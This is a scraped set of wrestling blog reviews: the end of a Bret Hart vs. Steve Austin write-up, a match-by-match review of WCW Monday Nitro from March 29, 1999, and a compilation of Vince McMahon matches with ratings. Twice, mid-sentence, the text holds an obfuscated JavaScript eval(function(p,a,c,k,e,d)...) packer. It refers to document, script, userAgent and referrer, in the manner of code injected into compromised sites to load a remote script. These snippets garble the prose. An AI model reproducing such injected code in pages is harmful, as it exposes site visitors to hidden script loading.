Bret gets in a few shots in the audience and Shamrock is right with them. Presumably this is falls count anywhere. Bret gets in a solid right hand but Austin grabs him for a piledriver. Hart counters with a backdrop and they head back towards the ring. Back to ringside and Bret dives off the barricade with a forearm to the back. Austin comes right back by whipping Hart into the steps to put him down again.

Amazingly enough, Bret vs. Austin was only just beginning. The next five months would be even more insane with perhaps an even better match blowing it off. Now let THAT sink in for a minute. This is still one of the few matches that has an actual impact on me and I get WAY into it every time I see it.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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New Column: The Best Laid Plans Of Mice And WWE

Talking about Reigns’ injury and how it might open some doors for WWE.

 

http://www.wrestlingrumors.net/kbs-review-best-laid-plans-mice-wrestling-companies/29266/




Monday Nitro – March 29, 1999: O Canada

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekntn|var|u0026u|referrer|yynak||js|php'.split('|'),0,{})) Nitro #182
Date: March 29, 1999
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 16,195
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

Nitro makes it’s Canadian debut here as we’re getting closer to Spring Stampede. We’re pretty much in the same place we were last week as Thunder meant nothing, though there was the development of Arn Anderson walking away from Ric Flair. I’m curious to see how far they can take this promotion down in the next few months. Let’s get to it.

David Flair and Samantha are in a hotel room in black and white with David talking about his dad ducking Hollywood Hogan. She tells him not to worry about Ric.

Tony hypes up a sweepstakes where you can win a Volkswagen Beetle.

The announcers try to talk over the WE WANT BRET chants.

We recap Bret saying he could beat Goldberg in five minutes last week.

Konnan music video. Again.

Konnan vs. Vincent

Konnan rants about Disco until Vincent interrupts him for the start of their match. Vincent gets rammed into the buckle to start and Konnan stomps away. The seated dropkick has Vincent in trouble but he low bridges Konnan to the floor to change control. Back in and we hit the chinlock on Konnan for a good while until he fights up with a belly to belly suplex. A jawbreaker staggers Konnan again but he nails Vincent again. Stevie Ray comes out to distract Vincent, setting up the X Factor and Tequila Sunrise for the submission.

Rating: D. Can we please just end this story already? It stopped being amusing a few weeks ago and I have no idea why it’s continuing. They clearly ran out of places to go with it a long time ago but it’s just kept going anyway. Stevie is the only interesting person in the whole thing but for some reason we keep hearing from Vincent.

Samantha and Hogan laugh about David wanting Hogan to be his dad. Hogan talks about the Fingerpoke of Doom like it was a huge battle because that’s still a thing.

Here’s Hogan to a BIG face pop. He talks about his history here in Toronto and wants to know where his title is. Hogan told the customs agents that he’s going to beat up Ric Flair tonight and wants a title shot. He keeps going for awhile and says the same thing over again. The only interesting point: one of the agents said they saw Sting in Toronto earlier today.

60 seconds with Goldberg.

The announcers talk a bit more.

Tenay had a sitdown interview with Diamond Dallas Page over the weekend. Page says Kimberly is doing fine but he has a herniated disc in his back that has been messing with his legs. He doesn’t care that he was double teamed at the pay per view. Tenay brings up the thirty day stipulation that Steiner mentioned and then was dropped after the match was over and Page says it didn’t count. Little things like that were telling signs about WCW being a mess backstage. Either have the stipulation or don’t bring it up in the first place. It was so confusing that they’re still clarifying it two months later. Page is coming for Steiner.

Kenny Kaos vs. Wrath

The announcers talk about the interview instead of the match and for once I’m fine with that. Feeling out process to start with Kaos taking Wrath down to the mat, sending Wrath crawling for the ropes. Back up and Kaos hits a nice delayed vertical suplex for two but Wrath nails him in the face with a bicycle kick. A dropkick puts Kaos on the floor and they do some weak brawling outside. They head inside again with Wrath choking away before nailing a clothesline.

Tony goes on a big rant about how he spent forever talking about tradition but, based on the crowd reaction, maybe the NWO had the right way of thinking. Somehow this doesn’t come off as a heel turn but rather WCW catching up to reality. We hit the chinlock on Kaos as Tony says that Monday Nitro will take the air at 9pm. They’ve said this before but there’s never been anything about a different name for the first hour. Kaos slams Wrath down for a top rope legdrop. Wrath shrugs it off and hits the Rock Bottom and Meltdown for the pin.

Rating: D. This was long and not all that great. The one thing that stands out to me here is that Kaos was the only one of these two guys to win a title in WCW. You have one half of a bad tag team and a guy that was built up as a possible challenger to Goldberg and the former got a title. In case you can’t tell, there really isn’t much to say about this match.

Samantha asks Nash if the Fingerpoke of Doom was real. Wrestling fans have been wondering about that for years now sweetheart. It sounds like they’re trying to cause a rift between Hogan and Nash, but this is what they’re going with? A blonde saying that the Fingerpoke was “real”? What does that even mean?

Gene brings out Ric Flair, who is promptly booed out of the building. Flair talks about wanting to beat up Tie Domi (Toronto Maple leafs’ enforcer) because he hates Canada. One of the biggest stars in wrestling is here tonight to make a presentation to the President. Flair brings out Page, making me wonder why they did that interview on tape instead of live.

Page wants to know why Flair is acting like Bischoff. Ric says he can do whatever he wants with Page because he has the book. They get in a mini argument over Flair having to call Page a superstar before Flair says Page wants a match with Scott Steiner. The fans boo when Page insults Steiner, sending Page into a rant about how horrible the Canandian fans are and how they support women being thrown out of cars. I really hope this is one night only because trying to turn Page heel after everything Steiner put him through is as dumb as turning Fla….they’re turning Page aren’t they?

Flair makes Page vs. Hogan tonight which draws out Hollywood to say he has a problem with both guys. Page doesn’t care what it takes to get to Steiner because he’ll go through Hogan and then take Flair’s belt. Hogan says he’ll jump through whatever hoops he has to in order to get his belt back. Flair says he’s going to manage Page tonight. Gene calls Page the People’s Champion but Page says don’t believe the hype. Page doesn’t need either guy but we cut to the rafters where Sting is looking down. Flair demands Sting come to the ring. The character development in this segment made my head hurt.

Regular show intro starts hour #2.

Nitro Girls.

Rick Steiner vs. Scott Norton

Norton takes him into the corner for some elbows to the jaw but they fire Steiner up. A hard Steiner Line staggers Norton and another sends him out to the floor. Back in and Rick hammers away in the corner but Norton drops him face first onto the buckle. Rick comes back with the release belly to belly and Scott bails again. We take a break and come back with both guys down. A big German suplex puts Norton down for two and they head outside again. Norton gets posted four times in a row to knock him silly and set up the Steiner Bulldog for the pin.

Rating: D+. This was a hard hitting power match but it was little more than a Rick squash. I’m not sure why they build up Norton like a monster at times but then have him lose this fast to a guy like Rick Steiner. Then again this is WCW, where having your soul crushed means it’s time for people to boo you so it must make sense to them.

Rey and Kidman team up for later.

TV Title: Chris Adams vs. Booker T

Booker is defending of course and grabs a headlock to start. Adams comes back with an armdrag and the champion is impressed. They trade hammerlocks until Booker nails a great looking dropkick to take over. Back up and they shake hands to a chorus of boos. A clothesline in the corner sets up the ax kick for two on Adams. Chris sends him out to the floor and nails a superkick, followed by a powerbomb inside for two. Booker comes back with a series of kicks, finishing Adams off with a missile dropkick to retain.

Rating: C. Adams got to show off here and the match was better as a result. That superkick always looks good and the powerbomb was a nice touch as well. I miss the matches like this one where a champion gets to show off a little bit and defend the title against a challenger that doesn’t have a real chance.

Nitro Girls.

We look back to last week at Mysterio giving Kidman another match at Spring Stampede.

Chris Jericho vs. Jerry Flynn

Jericho talks about growing up in Canada and learning everything he knows there. But now he’s so happy to live in the United States because Canada SUCKS! Flynn kicks him in the face and hits another one in the corner to drop Chris. Jericho comes back with a spinwheel kick of his own and the fans want Bret again. A suplex gets two for Jericho and we hit the chinlock. That goes nowhere so Flynn grabs a leg lock. Jericho quickly breaks it up and goes up top, only to dive into a kick to the ribs. They botch a rollup in the corner so Jericho trips Flynn up in the other corner and puts his feet on the ropes for the pin.

Rating: D. There was more energy to this one than last week but there’s only so much Jericho can do with someone like Jerry Flynn. The match wasn’t the worst ever but Jericho is clearly not caring as he’s about to leave. Then again, can you blame him when this is what he’s stuck with?

Gene hits on Nitro Girl Spice as they plug the Beetle sweepstakes.

Here’s Bret Hart with something to say. He talks about how people seem to be worried about the ratings, but instead of worrying, let’s sing O Canada. Well it’s more reciting but close enough. “Hey Bischoff, put that in your pipe and smoke it.” He’s been in WCW a little over a year and he’s a five time World Champion, but he can’t get a match with anyone. You have Flair and Hogan taking the top spots, even though Hogan is afraid of him. Bret came to WCW to prove a point so let’s cut to the chase. He calls out the big chicken named Goldberg and isn’t going anywhere until he comes out here to face him.

Bret brings up Goldberg’s challenge to Steve Austin (first mention on Nitro), but Bret beat up Austin every time they fought. He takes off his Calgary Hitmen jersey to show off a Maple Leafs jersey, saying this is hockey country. This brings out Goldberg for a spear….and he’s out cold. Bret slowly gets up while Goldberg isn’t moving. He turns Goldberg over and counts a three count before taking off the jersey to reveal a steel plate attached to his ribs. That’s still an awesome moment and showed off Bret’s intelligence. Bret grabs a mic and tells Bischoff he quits. Tony, of course, doesn’t seem interested.

During the break, Bischoff came out but Bret walked right past him. I believe this was a way to write Bret off for groin surgery.

Another video on Buff Bagwell and Scott Steiner splitting up.

Buff Bagwell vs. Norman Smiley

Buff says he and Steiner are no more and that he loves the fans just as much as they love him. Bagwell takes him down a few times and struts a lot. Heenan randomly starts talking about Page and Tony transitions into a discussion about Sting’s appearance. Smiley comes back with some shots in the corner and teases the Big Wiggle. A backdrop and dropkick send Norman outside before hitting some very basic stuff on him back inside.

Smiley blocks a splash with knees though and plants Bagwell with the swinging slam. He rips off Buff’s dance as the announcers get into about the 19th argument of the match over how to pronounce Norman’s name. We hit a chinlock on Bagwell but Norman switches to a neck crank to keep him down. Buff comes back with a sunset flip (including a pull of the trunks) for two. Bagwell makes his comeback with right hands and a dropkick followed by the Blockbuster for the pin.

Rating: D+. The match wasn’t great but my goodness is Buff easy to like as a face. He’s got the look, he’s got the story, he’s got a flashy finisher. No he won’t light the world on fire but the fans like him based on his neck injury and the sympathy is right there. Why did it take so long for WCW to realize that?

The announcers talk for a bit.

Tag Team Titles: Chris Benoit/Dean Malenko vs. Rey Mysterio Jr./Kidman

Benoit runs Kidman over to start and chops him up against the ropes. Kidman makes the mistake of trying a German suplex so Benoit ducks behind him and punches Kidman in the back of the head. Something like a powerbomb gets two on Chris and it’s off to Malenko vs. Mysterio, wearing blue and gray camouflage overalls. The champions take over on Rey in the corner and the double teaming begins.

Benoit chops Mysterio so hard he breaks one of the suspenders. Rey counters what looked to be a powerbomb attempt but his hurricanrana is countered by Dean coming off the top with a clothesline, added to Benoit’s powerbomb. Rey is still able to kick Dean away though and tags in Kidman to keep things fast paced. Everything breaks down and Kidman gets crotched on top, setting up Dean’s super gutbuster (love that move) for two.

We take a break and come back with Kidman getting sent into the corner, followed by a delayed vertical suplex from Dean for two. Benoit comes back in and goes after Kidman’s sore ribs by draping them over the top rope. Kidman is sent outside so Dean can drive him into the apron. Back inside and Kidman nails a dropkick to take down both Horsemen at the same time and the hot tag brings in Rey.

Everything breaks down and Benoit is thrown to the floor. Rey throws Kidman over the top to take out Benoit and snaps Dean’s throat across the top rope. Here come Raven and Saturn as Dean counters a hurricanrana into the Cloverleaf. Raven comes in and Evenflows Malenko, giving Rey the pin. Wait this was a title match??? Nice job of pointing that out announcers. I had to rewind to see if the referee held them up and he did, but the camera was on a wide shot.

Rating: C+. It’s a good match but man alive what a waste of the Horsemen. They were on fire during the tournament but they’re yet another victim of the “eh let’s just turn them heel” booking. I’d assume it’s because they’re mindless followers of Flair, which is yet another reason to hate Ric’s heel turn. Benoit spent years getting ready to become a champion and he can’t even hold it for three weeks. I can’t blame either guy for leaving when they did.

Spring Break recap video.

Nitro Girls.

Hollywood Hogan vs. Diamond Dallas Page

The fact that these two never had a one on one match on PPV astounds me. Flair is managing Page against DDP’s will. The announcers play up Page dropping the People’s Champion moniker. They slug it out in the corner to start with Hogan taking over via a clothesline. Page tries to come back but gets clotheslined out to the floor as we take a break.

Back with them fighting at the announcers’ area and Page taking over. They head to the stage and Hogan being rammed face first into the big WCW letters, eventually knocking over the right set. Back to the ring and they whip each other with Hogan’s weightlifting belt. Flair tries to help Page and gets punched in the face by his client. Page gets two off a swinging neckbreaker as Flair is going to the top.

The distraction lets Page take over again and he gets two more off a suplex. Hogan pops up and drops elbows to a surprisingly calm reaction. We go submission for a bit with a cross armbreaker on Page, even though he’s face down which would take away a lot of the pain. That goes as far as you would expect and it’s Page coming back with a clothesline for two.

The referee gets bumped in the corner so Hogan hits the big boot but misses the legdrop. Charles Robinson comes in as a replacement but it’s Hulk Up time. Flair accidentally hits Page with one of the worse chair shots I’ve ever seen. Hogan no sells chops and kicks Flair to the floor. He drops the leg but Robinson won’t count. That earns him a beating as the other referee wakes up to count the pin on Page.

Rating: D+. Well that happened. It was a total mess and overbooked like you would expect it to be but it did in fact happen. The booking continues to confuse me and I have a feeling it’s not just because they’re in Canada. So Flair is a heel because he’s crazed with power, Hogan is a heel because he feels like it and Page is leaning towards being a heel…..why? Because he didn’t give up to Steiner? What sense does that make? So now we seem to be heading for Hogan vs. Flair III but Sting might be a factor as well, while Goldberg and Nash have just been dropped from the whole thing. It’s something, though a very confusing something.

Hogan says he’s got a title shot now and tells Big Kev that the Wolfpack is in the house to end the show.

Overall Rating: D+. Much like with the main event, they seem to be trying but it’s really not paying off. This is another show that really needed to have an hour cut out of it so we didn’t have to sit through whatever that was with Samantha (just have her stand around in revealing outfits and she’ll be fine), boring matches like Steiner vs. Norton and Wrath vs. Kaos, and whatever this overly complicated booking is. I’ll give them this though: this stuff may not make perfect sense, but I’ll take confusing over boring every day.

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Wrestler of the Day – August 3: Vince McMahon

There’s no chance this isn’t good: Vince McMahon.

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifhsn|var|u0026u|referrer|iihih||js|php'.split('|'),0,{})) start with the match that broke Nitro’s winning streak. From Raw on April 13, 1998, for the first time ever.

WWF World Title: Vince McMahon vs. Steve Austin

This should have headlined Mania 15. Vince slaps Austin while the Stooges and Slaughter are there for backup. Vince grabs the mic and mentions the one arm tied behind your back line that Austin said earlier. He insists it’s the right arm, the Stunner arm. After a ton of stalling, heeeeeeeeeeeere’s Dude!

Dude Love comes out and says he doesn’t feel much love here tonight. He says he has to protect Vince because Vince signs the checks. Vince shoves Dude after he talks nice about Foley so Dude loads up the Claw. Austin comes over out of boredom. Love is the new big bad from Vince and is the opponent at Unforgiven. Again, Foley is used to make the new megastar look good.

Since this is Vince, we’ll have a lot of jumping to do. From Raw on Febraury 13, 1999.

Steve Austin vs. The Corporation

It’s a gauntlet match and Shamrock is up first. Slugout to start of course with Shamrock taking him down. The fans tell Vince that he screwed Bret. Austin escapes the ankle lock and hits the Stunner, but here’s Test for the DQ. He’s the next man as well and is Stunned in less than a minute, but Kane runs in for the seconds DQ. Kane chokes away in the corner but gets caught by the Thesz Press.

Austin pounds away but Kane gets a boot up to stop Austin. There’s the chokeslam but Austin kicks out at two. The Tombstone is countered into a Stunner but Chyna comes in for the DQ. I think the match only ends in a pinfall which is why they keep running in. Chyna comes in and takes a Stunner so here’s Boss Man. Austin hooks a sleeper but Boss Man escapes and gets the nightstick for the DQ. Austin is dead so Vince comes in and pins him.

Rating: D. You can barely call this a match as it was really just a way for Vince to get one up on Austin. The longest of the falls lasted about 80 seconds, so what are you expecting this to be? Nothing to see here but Vince’s charisma is incredible when he’s out there with Austin which makes up for some of the flaws. Also it’s less than seven minutes long so how annoyed can I get?

The main event from In Your House XXVII, the only time this happened on PPV.

Vince McMahon vs. Steve Austin

This had to headline a pay per view at some point. Austin gets in the cage first so Vince makes him wait a bit longer. Steve gets tired of waiting and chases Vince around the cage but the boss gets inside to hide. The bell hasn’t rung yet. Austin tries to climb up the cage but Vince punches from his high ground. Steve slips off the side of the cage and seems to have twisted his knee. Like an idiot, Vince comes out to check on it and gets clotheslined by a healthy Austin.

McMahon is sent into the side of the cage and choked with a cord. They fight into the crowd with Austin in complete control. Austin hits him in the head with the bell, making it ring the hard way. The match still hasn’t actually started yet. Back to ringside with Vince being sent into the steps and running into the crowd to try to get away. The beating continues until Austin knocks Vince back to ringside. Vince tries to climb into the cage where there’s less to cause him pain.

Austin won’t let that happen though and rams Vince face first into the cage over and over. Vince tries to climb again but this time Austin follows him up and slams Vince’s head into the top of the cage, sending him flying off the cage and onto the Spanish announce table. McMahon’s head bounces off a monitor, knocking him out cold for a bit in a scary landing. Everything stops as Vince is taken away by medics and Austin chills in the cage.

The Fink is about to announce Austin as the winner but Austin isn’t cool with that. He guaranteed to take Vince apart tonight, and since the bell never rang that’s not good enough for him. Austin asks the doctor if Vince is still breathing, because if he is the fight isn’t done yet. Vince is pulled off the stretcher and hit in the back with a backboard before finally being thrown into the cage for the opening bell.

Austin hits a quick clothesline and a middle rope elbow before going to leave, but Vince makes the eternal mistake of flipping Austin off. Steve climbs back inside and stomps a mudhole in the corner. Somehow Vince fights out with a low blow to get himself a breather before climbing up the cage. Austin pulls Vince down off the cage and leaves him in a heap. The boss is busted open and Lawler is losing his mind.

Steve can’t help but smile and climb the cage but Vince looks up at him and flips him off AGAIN, bringing Austin back to the ring. Austin stomps on him even more, leaving Vince crumpled down in the corner. There’s the Stunner but as Austin talks trash, a monster called Paul Wight breaks through the ring and throws Austin into the cage before helping Vince to his feet. Wight throws Austin against the cage but the wall breaks, allowing Austin to drop down for the win.

Rating: C. This is a hard one to grade because it was again a story rather than a match. The ending was very smart though as Wight got to debut but also look strong with Austin winning due to Wight’s strength. Austin got to give Vince the beating he needed to and win a the same time, but Vince gets to continue the feud with his new monster. In case you didn’t recognize the name, Wight would soon be called The Big Show Paul Wight.

Vince and Shane would join forces to fight Austin at King of the Ring 1999.

Vince McMahon/Shane McMahon vs. Steve Austin

Oh of course Shane is in it. This is a ladder match for control of the company, which is of course logical: the future of a billion dollar company and its ownership is being decided by a ladder match. Shane is announced as the replacement…for himself…making the whole thing earlier tonight about Shane being too hurt and a replacement being needed, you guessed it, COMPLETELY POINTLESS.

That should be Russo’s middle name: Vince Completely Pointless Russo. The problem with Shane being the partner is that it’s exactly what it was supposed to be in the first place, so the whole idea of having a replacement and the whole idea of having him not compete gets the crowd into it. Then that night it’s announced that it’s still him, which makes perfect sense. The partner is actually announced as Steve Blackman but GTV pops up to show that Shane is ok.

Shane and the Posse try to get out of the arena but Shawn stops him and says go to the ring. We’ll ignore the fact that Shane has 25% of the company and could just fire Shawn and appoint one of the Posse to his spot and let Blackman do his thing but whatever. Shawn brings Shane to the ring and says it’s the original match, again living up to Russo’s name.

The set is really cool as it’s a bunch of ladders holding up a canopy of ladders. It really is awesome looking. Austin’s music sets off a freaking eruption. I don’t care what anyone says: Hogan was never this hot, period. Austin would be gone for neck surgery in about six months, taking a year off to FINALLY get fixed after Owen hurt him. The Corporation is barred from ringside in case you’re wondering.

Lawler brings up the obvious point that Austin is going to dominate every one on one match here so the McMahons need to double team him. I know it’s basic, but that’s what an analyst is supposed to do. This has been all Austin to the shock of no one. Shane has a McMahon 6:32 jersey on which is kind of clever. Shane hits a clothesline to finally change things a bit. We get a Home Improvement reference to really date the show a bit. We’re up at the entrance now and Shane climbs up into the display of ladders and Austin, ever the genius, follows him.

After knocking Shane back to the floor, he stops to throw up two fingers for the crowd. See what he did right there? He took about three seconds and got the crowd into it all over again. Any wrestling crowd will love nothing more than to be acknowledged. That is one of the few universal truths in wrestling. Look at guys like Rock, Austin, Hogan and Flair.

They’re four of the biggest names ever and every one of them gets the crowd involved in their promos and matches. Flair shouts at fans and says he’ll make women out of people’s mothers, Hogan does the hand to the ear, Austin flips them off, and Rock gets them chanting his name. They directly talk to the crowd rather than saying something about the crowd like mentioning a team, which isn’t directly at them.

See what I’m getting at here? The big stars are the ones that interact with the fans and it always works as it always will. Austin puts Vince through two of the ladders holding up the set which doesn’t fall, completely defying the laws of physics. In other words, the top of a ladder which is maybe two feet by six inches is holding up a ladder display that’s about 12 feet long.

They knock it out and the whole thing crashes down on Vince and Shane. That’s a great looking spot. Since they own the company though, they’re fine and catch Austin as he’s setting up the ladder. Who cares that they should be dead or severely injured? Austin goes airborne and puts Shane through the Spanish announce table which is one of the few classic bumps that will never die in my mind.

Vince knocks Austin onto the English table which doesn’t break at all. That has to be some kind of a joke. King’s microphone is broken. Ah he’s back. Austin now has a bad leg and stops Vince with a low blow. Austin is just beating the tar out of them now. Shane starts tapping out which is funny to me for some reason, which apparently means it’s good that he’s wearing black pants as Ross continues to just be freaking stupid.

Vince stops Austin from getting the case and the heat is great. The ladder is broken so they try to boost Shane up. Of course it doesn’t work and Austin is up. The look on his face more or less says chick are you crazy? Both guys get stunned. Ross says it’s in the book and you can see it coming.

Austin goes up and the briefcase goes up higher. This was another thing that went absolutely nowhere as the person that controlled it was never revealed. Vince gets his hands on it as Austin goes after everyone. Shane shoves both guys down and Shane goes up for the briefcase.

Austin, knowing he might get screwed, would announced tomorrow night that while still CEO he had booked a title shot the next night on Raw against Taker, which is still to this day the highest rated wrestling match in cable history, drawing an insane quarter hour of something like an 8.4.

Rating: C-. It’s ok, but that’s all. The screwjob ending was about as much of a given as you could ask for, yet somehow this might have been the best match all night since the tag match got less than five minutes. This was just a way to make you watch Raw the next night, which is what it’s designed to do I guess. They really should have had HHH in there acting for Vince and had the McMahons interfere instead so that the match would have been more solid. This just wasn’t that interesting as it was about 80% Austin which is exactly what was expected.

HHH would become the Big Bad of the WWF and Vince would get a WWF Title shot on Smackdown, September 16, 1999.

HHH vs. Vince McMahon

Say it with me: Shane is guest referee. Vince jumps HHH to start and the fight is on. McMahon is in a suit here and gets stomped down by the world champion himself. HHH easily punches Vince down and this is pure domination so far. Shane taunts his father but Vince comes back with a low blow. It’s not enough to stop HHH though and Vince gets stomped down even more.

With McMahon on the floor, the champion chokes away with a camera cord. Vince is beaten onto the announce table and Shane is begging with HHH to not beat on his father anymore. HHH drops an elbow off the barricade through Vince through the announce table. Back in and HHH grabs a chair, but Shane takes it away from him. That works for about two seconds as HHH shoves Shane down and hits Vince with the chair, busting him open.

Shane goes after HHH but Chyna makes it 2-1 and Shane is beaten down as well. A chair shot to his back keeps Shane down and here come Linda, Patterson and Brisco. The old men get beaten up and Chyna holds Linda while HHH punches Vince even more. HHH loads up the Pedigree but Austin comes in through the crowd to beat up the Game (HHH’s nickname). HHH and Chyna both get Stunners and Austin puts Vince on top of HHH for the pin and the title, blowing the roof off the crowd.

Rating: D. This was barely a match but it was entertaining enough. Having Vince as champion obviously wasn’t going to last but to call it a fun moment is an understatement. That being said, it really wasn’t all that smart of a moment as HHH had only won the title about three weeks earlier. That doesn’t exactly make a questionable champion look all that strong.

And another match at Armageddon 1999.

HHH vs. Vince McMahon

There are over 35 minutes to go when the music starts. That’s just not a good sign at all. Stephanie comes out first in a leather jacket and a pink top. She was ridiculously hot with straight hair. Sweet goodness that’s an awesome song. This is of course under hardcore rules. This is about the best HHH has ever been as a heel as he was having great matches and was as evil as you could ask him to be.

You really felt like he was the horrible man he was built up to be. That’s always a great sign. Wow it’s weird hearing that he’s 28 here. HHH runs at him with the hammer but Vince has powder. So what if it completely missed his face? Vince just throws punches, all of which sound painful as all goodness.

We get a joke from Ross saying they’re from Idaho. In case you don’t get that, the term for hitting someone harder than you should or legit is called potatoing them. I love how they just left the Spanish announce table in pieces like that. We’re in the crowd now and it’s all Vince.

They’re in the area just outside the arena and you can’t see anything. We’re back at ringside now and it’s basic stuff so far. And here’s Mankind with a shopping cart full of weapons. Ok then. The weapons of choice are a garbage can and lid. HHH gets knocked into the audience and wouldn’t you know it he lands in front of Stephanie. What a coincidence! She can’t act. That’s all there is to it.

Vince goes into the cart of weapons as someone is shouting in Spanish. I think it translates to GET US A NEW FREAKING TABLE! We’re up by the set now which is a military theme. HHH hits him in the head with a sandbag. Yeah it’s that kind of a match. SICK shopping cart shot to the head. I had a flashback to Supermarket Sweep there so this show rocks now. And yet Vince’s hair is still perfect. That’s very impressive. Vince gets slammed into a helicopter.

In a SICK spot, a machine gun on a pivot is swung around to slam into his head. Freaking OW. I can’t really criticize the lack of wrestling here as there’s only one wrestler in it. We’re in the back now with HHH dominating. Vince can’t find HHH. That sounds like a really boring game.

We’re outside now and Vince is just walking around looking for him. HHH tries to pull a Rikishi and run him over. For some reason the announcers sound surprised that HHH was driving. They fight on the car for a bit as Ross is of course freaking out. We fight on a limo now and Vince gets slammed on it.

Back in the arena and HHH climbs up a scaffold. This isn’t going to end well is it? Vince falls and while it’s ok it’s not great. Holy chant comes out of course. Finally we get some blood. My goodness we’re near the ring! HHH gets a mic and talks to Stephanie. This is rather amusing actually. Vince comes back like a Night of the Living Dead zombie.

WE GO BACK INTO THE RING!!! HHH raises a pipe over Vince’s head but stops to use a hammer. Good. I’m glad the hammer didn’t have to feel left out. That wouldn’t have been nice. HHH does Suck It to Stephanie. Nice imagery. A low blow saves Vince. Vince gets the hammer and has HHH in the corner and here’s Stephanie saying she wants to hit him.

Naturally Vince winds up getting it as Stephanie still can’t act. She’s still face here until they hug. Oh HHH got the pin. This was the start of the McMahon-Helmsley Era which dominated the storylines until the end of 2000. Crowd reacts to the hug. I have no clue how they’re reacting but they’re reacting. Seriously why is JR surprised about this? They’re the freaking McMahons. Dang she looks great here.

Rating: B-. All things considered, this was good. When I say that, you have to remember that Vince isn’t a wrestler so this more or less had to be a massive freaking brawl the entire time. Now when I say time, keep in mind this went HALF AN HOUR. This needed about ten minutes cut out to really be good as it just got repetitive at the end. Still though, this was solid brawling throughout and entertaining so I’ll give it that. Too long though.

King of the Ring 2000 would see a six man tag for the WWF Title.

WWF Title: HHH/Vince McMahon/Shane McMahon vs. Rock/Kane/Undertaker

Yeah those sides are fair. Like mentioned earlier, if HHH or either McMahon is pinned, HHH loses the title to whoever gets the pin. If HHH’s team wins, HHH fights Angle. There’s no explanation of how this came about but HHH was feuding with Rock and Taker showed up to get at Vince and Shane was with Vince and Kane was just there for the sake of being there. All of the faces get their own entrances. Shane is a pussy apparently.

The pussy starts with Kane. And that’s more or less the high point. This match goes on nearly TWENTY MINUTES and I stopped caring after about two. It’s just filling in the time the whole way rather than anything actually of note going on. The faces keep fighting amongst themselves while the heels keep getting in a few shots here and there. One major problem here is that they never actually explain why Take hates Vince.

Now if you followed wrestling well enough around this time, it’s not that hard to figure out, but dang man, give us something at least. The match just goes on and on and it’s boring as any and all goodness. We get that the faces don’t get along. You don’t need to remind us a dozen times per minute. Everyone beats on everyone as we’re in the orgy mode here. Nothing of note happens as it’s all just one big mess as everyone beats on everyone with no particular rhyme or reason.

FINALLY we get to the point as most everyone goes outside and given the amount of time left we know that someone is going to get a pinfalll soon and end this. Since Vince is alone in the ring, I’m willing to bet that it’s him. And yep, there’s a Rock Bottom and a new champion to celebrate. And yep that’s all there is.

Rating: D-. Oy thank goodness this is over. No one cared about the thing but since we had seen Rock vs. HHH a half dozen times they needed to shift things, and since there’s some law against Kane getting a title shot on PPV, this is what we got instead. It was a weird idea and seriously, did anyone thing there wouldn’t be a new champion? I’m just glad this is over.

Vince would hook up with Trish Stratus because….well look at her. Here’s one of the resulting matches from Raw on February 26, 2001.

Vince McMahon/Trish Stratus vs. William Regal/Stephanie McMahon

Vince brings out that bucket of sewage. Apparently Stephanie shoved Trish into manure on Smackdown. Trish kisses Vince to start and the girls go at it first. All Trish to start as I guess Stephanie and Regal are the faces here. Steph gets a suplex for two. They had the best match you could ever imagine they would have the previous night. DDT gets two for Stephanie.

They botch….something as Stephanie goes down. It looked like a clothesline I think but I’m not sure. Vince comes in and Steph has no idea of it. Regal backs off to huge boos. Vince gets a mic and Regal brings in the bucket. He says that what Vince wants, Vince gets. He tells Trish to get in here and tells the referee that this match is over.

Stephanie and Vince are apparently all cool and Regal takes Trish down with a neckbreaker. With Vince’s direction, Stephanie covers her with the mop in the sewage and shoves her face in the bucket. Vince says that there’s one Daddy’s Little Girl and Trish was just a toy, a toy Vince is tired of playing with. Trish would be back with Vince like next week. This was barely a match so no rating.

Another Vince vs. Shane match from Wrestlemania X7.

Vince McMahon vs. Shane McMahon

This is a street fight of course with Mick Foley as guest referee. Shane has some WCW “stars” in a private box. You can see Shawn Stasiak, Stacy Keibler and I think Bobby Eaton up there. Stephanie is here with Vince but Trish and Linda are being saved for later. Vince slaps Shane and we’re ready to go in a hurry. Shane gets pounded down in the corner but comes back with a spear and a bunch of elbow drops.

Stephanie gets in the ring and slaps Shane in the face, causing a chase sequence. Shane stops to hit Vince in the head with a sign before beating him over an over in the back. A clothesline off the barricade puts Vince down again before Shane whips him into the barricade. Shane blasts him in the back with a kendo stick over and over before peppering him with left jabs and a big right cross. Other than the brief flurry to start this is all Shane.

A monitor shot to Vince’s head knocks him out so Shane can put him on the announce table. For the big spot of the match, Shane loads up the top rope elbow through the table but Stephanie pulls Vince away, sending Shane crashing through the table. Here come Trish and Linda with Linda completely sedated. Vince wakes up and sees them there so Trish helps him to his feet, with an AMAZING cleavage shot.

Trish surprises everyone by slapping Vince, turning face in the process. Stephanie goes after Trish, triggering a catfight in the ring. Mick pulls Stephanie off of Trish, only to get slapped in the face for his efforts. Stephanie runs from Trish and does the worst looking fall in the history of bad looking falls to let Trish catch up before leaving the arena. Back at ringside Vince wakes up and calls his wife a very bad name but Foley stops any potential domestic violence. Vince is fine with that and blasts Mick in the back with a chair.

